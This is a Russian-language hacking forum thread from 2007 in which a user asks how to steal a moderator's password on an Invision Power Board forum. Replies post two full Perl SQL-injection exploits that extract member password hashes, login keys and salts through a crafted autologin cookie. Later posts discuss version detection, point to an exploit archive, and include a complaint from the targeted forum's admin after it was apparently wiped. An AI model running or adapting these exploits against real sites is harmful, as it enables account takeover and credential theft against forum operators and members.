Форумы В копирайтах: Invision Power Board v.2.0.0.7 © Jan2007 IPS, Inc. С чем это едят? :)

Discussion in 'Уязвимости CMS/форумов' started by СССР, 12 Jan 2007.

  1. СССР

    СССР New Member

    Joined:
    5 Jan 2007
    Messages:
    9
    Likes Received:
    2
    Reputations:
    0
    собственно сабжик нашёл форум
    Invision Power Board v.2.0.0.7 © Jan2007 IPS, Inc.
    прочитал сдесь все темы по поводу ipb но этой версии нету может он схожа с какойто другой
    собственно цель приследую захватить =) пароль модератора надоедливавого
    посоветуйте с чего начать ?
     
  2. zl0ba

    zl0ba ПсихолоГ

    Joined:
    10 Oct 2006
    Messages:
    393
    Likes Received:
    301
    Reputations:
    52
    r57ipb2 - им пробуй!

    PHP:
    #!/usr/bin/perl

    ## Invision Power Board SQL injection exploit by RST/GHC
    ## vulnerable forum versions : 1.* , 2.* (<2.0.4)
    ## tested on version 1.3 Final and version 2.0.2 
    ## * work on all mysql versions
    ## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
    ## (c)oded by 1dt.w0lf
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ## screen:
    ## ~~~~~~~
    ## r57ipb2.pl blah.com /ipb13/ 1 0
    ## [~]    SERVER : blah.com 
    ## [~]      PATH : /ipb13/
    ## [~] MEMBER ID : 1
    ## [~]    TARGET : 0 - IPB 1.*
    ## [~] SEARCHING PASSWORD ... [ DONE ]
    ##
    ## MEMBER ID : 1
    ## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
    ##
    ## r57ipb2.pl blah.com  /ipb202/ 1 1
    ## [~]    SERVER : blah.com 
    ## [~]      PATH : /ipb202/
    ## [~] MEMBER ID : 1
    ## [~]    TARGET : 1 - IPB 2.*
    ## [~] SEARCHING PASSWORD ... [ DONE ]
    ##
    ## MEMBER ID : 1
    ## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ## Greets: James Bercegay of the GulfTech Security Research Team 
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru 
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    use IO::Socket;

    if (@
    ARGV < 4) { &usage; }

    $server    = $ARGV[0];
    $path      = $ARGV[1];
    $member_id = $ARGV[2];
    $target    = $ARGV[3];

    $pass = ($target)?('member_login_key'):('password');

    $server =~ s!(http:\/\/)!!;

    $request  = 'http://';
    $request .= $server;
    $request .= $path;

    $s_num = 1;
    $|++;
    $n = 0;

    print 
    "[~]    SERVER : $server\r\n";
    print 
    "[~]      PATH : $path\r\n";
    print 
    "[~] MEMBER ID : $member_id\r\n";
    print 
    "[~]    TARGET : $target";
    print ((
    $target)?(' - IPB 2.*'):(' - IPB 1.*'));
    print 
    "\r\n";
    print 
    "[~] SEARCHING PASSWORD ... [|]";

    (
    $cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

    while(
    1)
    {
    if(&
    found(47,58)==0) { &found(96,122); } 
    $char = $i;
    if (
    $char=="0") 
     { 
     if(
    length($allchar) > 0){
     print 
    qq{\b\b DONE ] 
     
     
    MEMBER ID : $member_id
     
    };
     print ((
    $target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
     print 
    $allchar."\r\n";
     }
     else
     {
     print 
    "\b\b FAILED ]";
     }
     exit();  
     }
    else 
     {  
      
    $allchar .= chr(42);
     }
    $s_num++;
    }

    sub found($$)
     {
     
    my $fmin = $_[0];
     
    my $fmax = $_[1];
     if ((
    $fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
     
     
    $r = int($fmax - ($fmax-$fmin)/2);
     
    $check = " BETWEEN $r AND $fmax";
     if ( &
    check($check) ) { &found($r,$fmax); }
     else { &
    found($fmin,$r); }
     }
     
    sub crack($$)
     {
     
    my $cmin = $_[0];
     
    my $cmax = $_[1];
     
    $i = $cmin;
     while (
    $i<$cmax)
      {
      
    $crcheck = "=$i";
      if ( &
    check($crcheck) ) { return $i; }
      
    $i++;
      }
     
    $i = 0;
     return 
    $i;
     }
     
    sub check($)
     {
     
    $n++;
     
    status();
     
    $ccheck = $_[0];
     
    $pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
     
    $pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28"; 
     
    $pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
     
    $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
     
    $nmalykh    = "%20";
     
    $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");

     
    printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
     
    $path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3,$nmalykh);
     
     while(<
    $socket>) 
      { 
      if (/
    Set-Cookie: session_id=0;/) { return 1; }
      } 

     return 
    0;
     }
     
    sub status()
    {
      
    $status = $n % 5;
      if(
    $status==0){ print "\b\b/]";  }
      if(
    $status==1){ print "\b\b-]";  }
      if(
    $status==2){ print "\b\b\\]"; }
      if(
    $status==3){ print "\b\b|]";  }
    }

    sub usage()
     {
     print 
    q(
     
    Invision Power Board v < 2.0.4 SQL injection exploit
     
    ----------------------------------------------------
     
    USAGE:
     ~~~~~~
     
    r57ipb2.pl [server] [/folder/] [member_id] [target]
     
     [
    server]    - host where IPB installed
     
    [/folder/]  - folder where IPB installed
     
    [member_id] - user id for brute
     
     targets
    :
              
    0 - IPB 1.*
              
    1 - IPB 2.* (Prior To 2.0.4)
     
     
    e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
     
    ----------------------------------------------------
     (
    c)oded by 1dt.w0lf
     RST
    /GHC , http://rst.void.ru , http://ghc.ru
     
    );
     exit();
     }
     
  3. Ksander

    Ksander Elder - Старейшина

    Joined:
    21 Jun 2006
    Messages:
    526
    Likes Received:
    260
    Reputations:
    138
    Скорей всего 2.1.7
     
  4. -Concord-

    -Concord- Elder - Старейшина

    Joined:
    16 Jun 2006
    Messages:
    158
    Likes Received:
    191
    Reputations:
    68
    да не скорее 2.0.0 =)
     
  5. СССР

    СССР New Member

    Joined:
    5 Jan 2007
    Messages:
    9
    Likes Received:
    2
    Reputations:
    0
    такс спосибо модером что под правили -)
    и так ешё вопросик !
    я понел что я х.. что сам то сделаю
    как можео хотябы нагадить админу в душу чтоли ?)))))
     
  6. zl0ba

    zl0ba ПсихолоГ

    Joined:
    10 Oct 2006
    Messages:
    393
    Likes Received:
    301
    Reputations:
    52
    А ты ссылку на растерзания дай, может чем то и поможем!
     
  7. delay(0)

    delay(0) Member

    Joined:
    22 Nov 2006
    Messages:
    90
    Likes Received:
    41
    Reputations:
    6
    СССР,
    Определение версии в своей статье доходчиво описал киб. Как следствие, не ври что читал...
    /thread11615.html
     
  8. maxster

    maxster Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    188
    Likes Received:
    88
    Reputations:
    -7
    2zl0ba
    если это 2.0.* лутше этот эксплойт, а то логин кей только для подмены куков нужен, а тут и хеш и соль!
    PHP:
    #!/usr/bin/perl 

    ## Invision Power Board SQL injection exploit by Coyl. CiaNeeD team. 
    ## for stealing converge_pass_salt value from ipb database 
    ## on some ipb forums it steals the legacy_password which is the first md5 
    ## hash of the target password. 
    ## vulnerable forum versions : 2.* (<2.0.4) 
    ## tested on version 2.0.2 
    ## * work on mysql 4.0, 4.1 versions 
    ## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On) 
    ## coded by Coyl 
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
    ## screen: 
    ## ~~~~~~~ 
    ## /ipb.pl 127.0.0.1 /fo/ 1 
    ## [~] SERVER : 127.0.0.1 
    ## [~] PATH : /fo/ 
    ## [~] MEMBER ID : 1 
    ## [~] VALUE TO STEAL : 
    ## [~] SEARCHING THE EASIEST WAY... [ FAILED ] 
    ## [~] SEARCHING THE SALT [\5][ DONE ] 
    ## 
    ## SALT : UoU1o 
    ## 
    ## [~] SEARCHING THE PASS HASH [/32][ DONE ] 
    ## 
    ## PASS HASH : 1ab2bc1f32f231f234313444233d 
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
    ## Greets: 1dt.w0lf , RST/GHC , http://rst.void.ru , http://ghc.ru 
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

    use IO::Socket; 

    if (@
    ARGV < 3) { &usage; } 

    $enum=0; 
    $cookie = 1; 
    $server = $ARGV[0]; 
    $path = $ARGV[1]; 
    $member_id = $ARGV[2]; 
    $prefix = ($ARGV[3])?($ARGV[3]):("ibf_"); 



    $server =~ s!(http:\/\/)!!; 

    $request = 'http://'; 
    $request .= $server; 
    $request .= $path; 

    $s_num = 1; 
    $|++; 
    $n = 0; 

    print 
    "[~] SERVER : $server\r\n"; 
    print 
    "[~] PATH : $path\r\n"; 
    print 
    "[~] MEMBER ID : $member_id\r\n"; 
    print 
    "[~] VALUE TO STEAL : \r\n"; 
    print 
    "[~] SEARCHING THE EASIEST WAY... [|0]"; 

    (
    $cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; 
    $flag=0; 
    $field=1; 
    LOOP: while(1) 
    { 
    $pass = ($field)?('converge_pass_hash'):('converge_pass_salt'); 

    if(
    $field) { if(&found(96,123)==0) { &found(47,58)}} 
    if(!
    $field&&$flag) { &found(33,126) } 

    $char = $i; 

    if (
    $char=="0") 
    { 
    if(
    length($allchar) > 0){ 
    print 
    qq{[ DONE ] 
    }; 
    if (!
    $flag) { print "\r\nSIMPLE PASS HASH : "; print $allchar."\r\n";} 
    else 
    { 
    print ((
    $field)?("\r\n PASS HASH : "):("\r\n SALT : ")); 
    print 
    $allchar."\r\n\r\n"; 
    $allchar=''; 
    $enum=0; 
    $s_num=1; 
    $field++; 
    if (!(
    $field==2)){print "[~] SEARCHING THE PASS HASH [|0]"; redo LOOP}; 
    } 
    } 
    else 
    { 
    if (!
    $flag) 
    { 
    print 
    "$back FAILED ]\r\n"; 
    print 
    "[~] SEARCHING THE SALT [|0]"; 
    $flag=1; 
    $field=0; 
    redo LOOP; 
    } 
    if (
    $flag) 
    { 
    print 
    "$back FAILED ]\r\n"; 
    } 
    } 
    exit(); 
    } 
    else 
    { 
    $allchar .= chr($char); 
    $enum++; 
    }
    $s_num++; 
    } 

    sub found($$) 
    { 
    my $fmin = $_[0]; 
    my $fmax = $_[1]; 
    if ((
    $fmax-$fmin)<5) { $i=&crack($fmin,$fmax); return $i; } 

    $r = int($fmax - ($fmax-$fmin)/2); 
    $check = " BETWEEN $r AND $fmax"; 
    if ( &
    check($check) ) { &found($r,$fmax); } 
    else { &
    found($fmin,$r); } 
    } 

    sub crack($$) 
    { 
    my $cmin = $_[0]; 
    my $cmax = $_[1]; 
    $i = $cmin; 
    while (
    $i<$cmax) 
    { 
    $crcheck = "=$i"; 
    if ( &
    check($crcheck) ) { return $i; } 
    $i++; 
    } 
    $i = 0; 
    return 
    $i; 
    } 

    sub check($) 
    { 
    $n++; 
    status(); 
    $ccheck = $_[0]; 
    $non="1%2527+union+select+converge_id%2Cconverge_pass_salt%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0+from+".$prefix."members_converge+where+%28converge_id%3D"; 
    $eas="1%2527+OR+%28id%3D"; 
    $pass_hash1 = ($flag)?($non):($eas); 
    $pass_hash2 = "+AND+ascii%28substring%28"; 
    $pass_hash3 = (($flag)?($pass):("legacy_password")).",".$s_num.",1))".$ccheck.") /*"; 
    $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; 
    $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80"); 

    printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s\nConnection: close\n\n", 
    $path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3); 

    while(<
    $socket>) 
    { 
    if (/
    Set-Cookie: session_id=0;/) { 
    return 
    1; } 
    } 


    return 
    0; 
    } 

    sub status() 
    { 
    $status = $n % 5; 
    if (
    $enum<10) {$back="\b\b\b";} 
    else {
    $back="\b\b\b\b"}; 
    if(
    $status==0){ print "$back\\$enum]"; } 
    if(
    $status==1){ print "$back-$enum]"; } 
    if(
    $status==2){ print "$back/$enum]"; } 
    if(
    $status==3){ print "$back|$enum]"; } 
    } 

    sub usage() 
    { 
    print 
    q( 
    Invision Power Board v 2.0.0 - 2.0.4 SQL injection exploit modified 
    -------------------------------------------------------------------- 
    USAGE: 
    ~~~~~~ 
    r57ipb2.pl [server] [/folder/] [member_id] [prefix-optinal] 

    [
    server] - host where IPB installed 
    [/folder/] - folder where IPB installed 
    [member_id]- user id for brute 
    [prefix] - database prefix \(ibf_ by default\) 

    e.g. ipb.pl 127.0.0.1 / 1 ipb_ 
    -------------------------------------------------------------------- 
    coded by Coyl. CiaNeeD team. 
    -------------------------------------------------------------------- 
    greets to 1dt.w0lf RST/GHC , http://rst.void.ru , http://ghc.ru 
    -------------------------------------------------------------------- 
    ); 
    exit(); 
    }
     
    #8 maxster, 13 Jan 2007
    Last edited: 13 Jan 2007
  9. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    С хлебом. И молоком.
    А серьезно, под 2.0.х дофига эксплоитов. search milw0rm
     
  10. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    http://someshit.net/forumdisplay.php?f=4
    пробуй

    правда маловероятно что 2007 года он 2.0.0.7 (такой версии то и нет)

    скорее васего либо айпи динамик, либо 2.1.7
     
  11. СССР

    СССР New Member

    Joined:
    5 Jan 2007
    Messages:
    9
    Likes Received:
    2
    Reputations:
    0
    потёртто=)
     
    #11 СССР, 14 Jan 2007
    Last edited: 24 Jan 2007
  12. Принц

    Принц New Member

    Joined:
    18 Jul 2006
    Messages:
    14
    Likes Received:
    3
    Reputations:
    1
    blackybr
    У меня был один форум... 2.1.5... Ну вот я в 2006 поставил... ну и уже давно туда не ходил) а поза вчера залез, посмотрел а там 2007... %)
     
  13. Skiba

    Skiba Banned

    Joined:
    19 Sep 2006
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    Значит динамик коопир. Проверяй версию по статье.
     
  14. Samson

    Samson Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    55
    Likes Received:
    52
    Reputations:
    25
    <result>1</result>
    <customer_id>0</customer_id>
    <account_id>0</account_id>
    <version_id>21012</version_id>
    <version_string>v2.1.7</version_string>
    <release_hash><{%dyn.down.var.md5%}></release_hash>
     
  15. penguen

    penguen New Member

    Joined:
    23 Jan 2007
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Вопрос: Каким образом был форум подтерт?
    Инъекция? Если же Да, то каким макаром.
    =============================
    Зы. Форум и правду, той версии, что указано выше постом.
    ========================
    Т.к. отписыв. код здесь запрещен., плиз запостите линк или ман в ПМ или на мыло. Буду признателен.
    ---------------------------------------
    С ув. Админ затравленного форума.
    СССР чтоб ты был всегда здоровый.
    А клиенту ukrcom взломав. респект и не гуд.